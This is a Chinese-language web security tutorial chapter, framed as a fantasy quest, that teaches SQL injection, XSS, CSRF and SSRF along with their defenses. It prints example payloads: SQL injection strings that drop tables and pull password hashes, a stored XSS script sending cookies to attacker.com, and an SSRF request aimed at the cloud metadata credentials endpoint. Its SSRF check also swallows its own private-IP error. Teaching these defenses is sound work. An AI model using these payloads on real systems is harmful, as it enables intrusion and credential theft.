元数据卡
- 前置知识:Vol 4 网络(HTTP 协议)、第3章(JWT、Session/Cookie)、基础 SQL 知识
- 预计时间:70 分钟
- 核心难度:进阶
- 完成标志:能解释 SQL 注入的原理和四种防御层次;能区分 XSS 的三种类型;能为常见的 Web 攻击设计防御方案
你的进度
魔法驿道上的通信体系终于跑起来了。你有加密法阵、有符文证书验证身份、有 OAuth 魔法令牌来处理第三方授权——这些是驿道的防护护盾和城墙。
但护盾有缝隙,围墙有暗门。攻击者不需要正面攻破你的加密咒语,他们可以走更简单的路:让你的驿站系统自己暴露漏洞。
灰塔的一个驿站管理员开发了一套“驿道日志查询系统”,用来记录和查询每天的传送记录。你检查了一下——这个系统直接把管理员输入的传送日志编号拼进了魔力查询咒语。 你的任务
掌握最常见的 Web 安全漏洞和它们的防御方法。你将深入理解 SQL 注入、XSS、CSRF、SSRF 的根本原因和现代防御策略。这些不是"教科书概念"——OWASP Top 10 中的每一类都在真实世界中反复造成严重事故。
本章分层
- 必读:SQL 注入(含预编译语句)、XSS(三种类型)、CSRF(SameSite Cookie)、SSRF
- 选读:CSP(Content Security Policy)策略配置、请求走私
- 进阶:混淆攻击(Encoding Attacks)、HTTP/2 多路复用与安全边界
破局 · 溯源
SQL 注入:最简单的入侵
先看那个巡逻报告系统的问题代码:
# 不安全!——不要在生产中使用
def get_patrol_report(patrol_id):
query = f"SELECT * FROM patrol_reports WHERE id = {patrol_id}"
cursor.execute(query)
return cursor.fetchall()如果 patrol_id 来自用户输入,攻击者可以传入:
?patrol_id=1 OR 1=1查询变成:
SELECT * FROM patrol_reports WHERE id = 1 OR 1=1——返回所有巡逻报告。这只是开始。
更恶劣的攻击:
1; DROP TABLE patrol_reports; --
1 UNION SELECT username, password_hash, ... FROM users --SQL 注入的根本原因:代码和数据没有分开。
当 SQL 语句中混合了代码(SQL 指令)和数据(用户输入),而且没有明确的分隔时,攻击者就能注入代码。
防御层次(从浅到深):
第一层(必须):参数化查询 / 预编译语句
这是最核心的防线。把 SQL 结构(代码)和数据分开:
# Python + psycopg2(PostgreSQL)
def get_patrol_report_safe(patrol_id):
query = "SELECT * FROM patrol_reports WHERE id = %s"
cursor.execute(query, (patrol_id,))
return cursor.fetchall()
# Java + JDBC
# PreparedStatement stmt = conn.prepareStatement(
# "SELECT * FROM patrol_reports WHERE id = ?"
# );
# stmt.setInt(1, patrolId);
# Node.js + mysql2
# const [rows] = await connection.execute(
# 'SELECT * FROM patrol_reports WHERE id = ?',
# [patrolId]
# );预编译语句的机制:
1. 数据库先解析 SQL 结构(知道这是个 SELECT)
2. 参数用占位符(? / %s)标记
3. 数据库绑定参数值时,自动转义或作为字面量处理
4. 用户输入不会被解析为 SQL 关键字第二层:最小权限原则
数据库连接用户不应该有 DROP TABLE 的权限。连接巡检系统数据库的用户只应该有该系统的 SELECT 权限。
-- 创建专用的低权限用户
CREATE USER patrol_reader WITH PASSWORD '...';
GRANT SELECT ON patrol_reports TO patrol_reader;
-- 不给 INSERT/UPDATE/DELETE/DROP/TRUNCATE 权限第三层:输入验证
永远不要相信用户的输入。即使使用了参数化查询,也应做输入类型验证:
def get_patrol_report(patrol_id):
if not isinstance(patrol_id, int):
# 或者用 try int(patrol_id)
raise ValueError("patrol_id must be an integer")
# ... 安全的查询第四层:WAF 和 RASP
Web Application Firewall(如 ModSecurity)和 Runtime Application Self-Protection 是最后的防线。它们可以在网络层或运行时检测并拦截 SQL 注入攻击。
XSS(Cross-Site Scripting)
SQL 注入攻击后端。XSS 攻击前端——在用户的浏览器中执行恶意脚本。
XSS 三种类型:
| 类型 | 触发方式 | 持久性 | 危害 |
|---|---|---|---|
| 存储型(Stored) | 恶意脚本保存在服务器,每次页面加载时执行 | 持久 | 最大——影响所有访问者 |
| 反射型(Reflected) | 恶意脚本在 URL 中,用户点击链接时触发 | 临时 | 需要诱导用户 |
| DOM 型(DOM-based) | 通过客户端 JS 动态修改 DOM 触发,不经过服务器 | 临时 | 隐蔽——服务器日志里没有痕迹 |
存储型 XSS 示例:
一个哨站留言板系统:
# 不安全的留言提交
def submit_message(username, content):
query = "INSERT INTO messages (username, content) VALUES (%s, %s)"
cursor.execute(query, (username, content))
# 不安全的留言展示
def render_messages():
messages = fetch_all_messages()
html = "<ul>"
for msg in messages:
# 直接把用户内容放到 HTML 中!
html += f"<li><b>{msg['username']}</b>: {msg['content']}</li>"
html += "</ul>"
return html攻击者提交:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>当其他用户查看留言板时,这个脚本执行,把用户的 cookie 发送给攻击者。
防御 XSS:上下文相关的输出编码
| 上下文 | 转义方式 | 示例 |
|---|---|---|
| HTML 标签内容 | 转义 < > & " ' | <script> |
| HTML 属性 | 转义引号和特殊字符 | onclick="..." 中的引号 |
| JavaScript 字符串 | 转义 \ ' " 等 | \x3cscript\x3e |
| URL 参数 | URL 编码 | %3Cscript%3E |
| CSS | 转义特殊字符 |
Python(Flask 的 Jinja2 模板默认开启自动转义):
# Jinja2 默认自动转义变量中的 HTML
# {{ user_input }} 自动转为 <script>
# 如果确实需要渲染 HTML:{{ content|safe }} ——但要确保 content 已清理
# 或者用专门的 HTML sanitizer
import bleach
allowed_tags = ['b', 'i', 'em', 'strong', 'a', 'p', 'br']
allowed_attrs = {'a': ['href', 'title']}
clean_content = bleach.clean(
raw_input,
tags=allowed_tags,
attributes=allowed_attrs,
)Java(JSP 应使用 JSTL 的 c:out 而非 EL 表达式):
<%-- 安全:自动 HTML 转义 --%>
<c:out value="${message.content}" />
<%-- 不安全:直接输出 --%>
${message.content}React / Vue 等现代前端框架默认对插值做转义({content} / ),但注意 dangerouslySetInnerHTML / v-html 的滥用。
更彻底的防御:内容安全策略(CSP)
CSP 是 HTTP 响应头,告诉浏览器只执行来自特定来源的脚本。即使注入成功,CSP 可以阻止脚本执行:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com这条策略告诉浏览器:只允许加载同源和指定 CDN 的脚本。内联脚本(<script>alert(1)</script>)和 eval() 被禁止(除非有 'unsafe-inline' 但建议不要加)。
# Flask 中设置 CSP
@app.after_request
def add_csp(response):
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self'; "
"style-src 'self' 'unsafe-inline'; "
"img-src 'self' data:; "
"frame-ancestors 'none';"
)
return responseCSRF(Cross-Site Request Forgery)
CSRF 是另一种攻击:用户在要塞系统上保持着登录状态(cookie),攻击者诱导用户访问一个恶意网页,该网页自动发送一个跨站请求,cookie 自动带上,服务器以为这是用户本人操作。
受害者浏览器:
┌──────────────────────┐
│ 已登录 borderfortress│ ← session cookie
│ .com │
│ 同时访问: │
│ attacker.com/evil │
└──────────────────────┘
│
├──→ GET borderfortress.com/transfer?amount=1000&to=attacker
│ (浏览器自动附带 cookie)
│
└──→ 服务器以为这是用户的合法操作!CSRF 防御(现代方案,不再需要 token):SameSite Cookie
# Set-Cookie 带上 SameSite 属性
response.set_cookie(
"session_id",
session_id,
samesite="Lax", # 或 "Strict"
secure=True, # 仅 HTTPS
httponly=True, # 禁止 JS 读取
max_age=3600,
)SameSite 的三个值:
| 值 | 行为 |
|---|---|
Strict | 完全不允许跨站请求携带 cookie |
Lax | 允许顶级导航(GET 链接跳转),禁止 POST 表单、fetch、XMLHttpRequest |
None | 不做限制(需要设置 Secure) |
从 Chrome 80 开始,未设置 SameSite 的 cookie 默认被视为 SameSite=Lax。这基本上解决了 CSRF 问题——但不是所有浏览器都支持,且旧系统可能需要显式防护。
传统的 CSRF Token 方案(作为后备或兼容方案):
# 服务器生成一个随机 token,嵌入表单
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="random_token_abc123">
<input type="text" name="amount">
<input type="submit" value="转账">
</form>
# 服务器验证
if request.form['csrf_token'] != session['csrf_token']:
abort(403)攻击者无法获取用户的 CSRF token(受同源策略保护),所以无法构造有效的恶意请求。
SSRF(Server-Side Request Forgery)
SSRF 是攻击者让服务器发起请求到内部网络。
攻击者 → 你的应用服务器 → 内部服务(数据库 / 云元数据 API / ...)场景:哨站系统允许用户输入一个 URL,服务器去抓取该 URL 的内容展示:
# 不安全的 URL 抓取
def fetch_url(url):
# 用户传入:http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 这是一个 AWS/GCP 内部元数据端点!
response = requests.get(url, timeout=5)
return response.text攻击者可以通过 SSRF:
- 扫描你的内部网络拓扑
- 访问云服务商的元数据 API(获取临时密钥)
- 访问内部数据库或管理面板
- 攻击内部 Redis / Memcached(未授权访问的端口)
SSRF 防御:
import ipaddress
from urllib.parse import urlparse
def safe_fetch_url(url):
parsed = urlparse(url)
# 1. 禁止访问内部地址
hostname = parsed.hostname
if hostname == 'localhost' or hostname == '127.0.0.1':
raise ValueError("不允许访问本地地址")
try:
ip = ipaddress.ip_address(hostname)
if ip.is_private:
# 10.x.x.x, 172.16-31.x.x, 192.168.x.x
raise ValueError("不允许访问私有 IP")
except ValueError:
pass # 域名
# 2. 限制协议和端口
if parsed.scheme not in ('http', 'https'):
raise ValueError("只允许 HTTP/HTTPS")
# 3. 白名单 URL(如果可能)
ALLOWED_DOMAINS = ['maps.borderfortress.com', 'weather.api.com']
if not any(hostname.endswith(d) for d in ALLOWED_DOMAINS):
raise ValueError("URL 不在允许列表中")
# 4. 限制重定向
response = requests.get(url, allow_redirects=False, timeout=5)
return response.text更全面的 OWASP Top 10(2021):
| 排名 | 类别 | 一句话说明 |
|---|---|---|
| A01 | Broken Access Control | 权限检查缺失,用户可以越权操作 |
| A02 | Cryptographic Failures | 加密没用好(明文传密码、弱哈希、短密钥) |
| A03 | Injection | SQL、NoSQL、OS 命令注入——代码和数据没分开 |
| A04 | Insecure Design | 架构层面缺乏安全考量(没有 rate limit、缺少审计) |
| A05 | Security Misconfiguration | 默认配置、调试模式开放、不必要的端口暴露 |
| A06 | Vulnerable Components | 依赖库有已知漏洞(log4j、struts2) |
| A07 | Identification and Auth Failures | 弱密码、session 固定、token 未正确验证 |
| A08 | Software and Data Integrity Failures | 供应链攻击、CI/CD 注入、不安全的自动更新 |
| A09 | Security Logging and Monitoring Failures | 不记录攻击事件,发现不了入侵 |
| A10 | SSRF | 服务器请求伪造 |
常见陷阱
- 认为 ORM 自动防御 SQL 注入。 ORM 也不安全——有些 ORM 方法(如 raw query、某些
where传参方式)仍然有注入风险。 - 只做前端验证。 前端验证只是为了提升用户体验,不能作为安全措施。攻击者可以绕过前端直接发 HTTP 请求。
- CSP 的策略太宽松。
script-src 'self' 'unsafe-inline'和没设 CSP 差不多。'unsafe-inline'允许所有内联脚本执行。 - JSONP 的 XSS 风险。 JSONP 本质上是在当前页面执行跨域脚本。不要轻易使用,优先用 CORS。
- 认为 CSRF 只影响 POST 请求。 GET 请求接口(如图片 URL 触发的操作)也有 CSRF 风险。用 SameSite=Lax 可以覆盖大部分场景。
- HTTPS 不代表安全。 HTTPS 只保证传输层加密。应用层的漏洞(XSS、SQLi)在 HTTPS 连接上一样可以发生。
通关挑战
- 热身:在你的一个 Web 应用中检查所有 SQL 查询,确认没有字符串拼接 SQL。检查所有接受用户输入的地方,确认使用了参数化查询。
- 挑战:构建一个简单的留言板应用(Flask / Express / Spring Boot),故意复现一个存储型 XSS。然后修复它(使用正确的编码),并添加 CSP 头。
- 观察:用浏览器的开发者工具打开 Network 面板,访问一个网站的登录页面,检查
Set-Cookie响应头,看你是否能找到SameSite、HttpOnly、Secure属性。 - 排障:用户报告"我可以在留言板发帖,但帖子里的链接图片不显示"。你发现问题是 CSP 阻止了外部图片。如何正确解决这个问题(而不是直接放宽 img-src)?
旅人笔记
- SQL 注入的根本原因是代码和数据混在一起。参数化查询是第一条防线
- XSS 是前端漏洞:不信任用户输入,正确编码输出上下文
- CSP 是 Web 安全纵深防御的重要一环(即使 XSS 注入成功,也能阻止执行)
- CSRF 在 SameSite Cookie 时代基本已被解决,但理解和向后兼容仍需关注
- SSRF 是攻击面扩大——确保服务器不会成为攻击其他内部系统的跳板
- HTTPS 保护传输层,不保护应用层。两者都需要
下一站预告
你修复了要塞 web 应用的各种漏洞。但攻击者转向了更底层——操作系统本身。如果系统内核是敞开的,所有应用层的防御都没有意义。下一章,我们来审视操作系统级别的安全防线。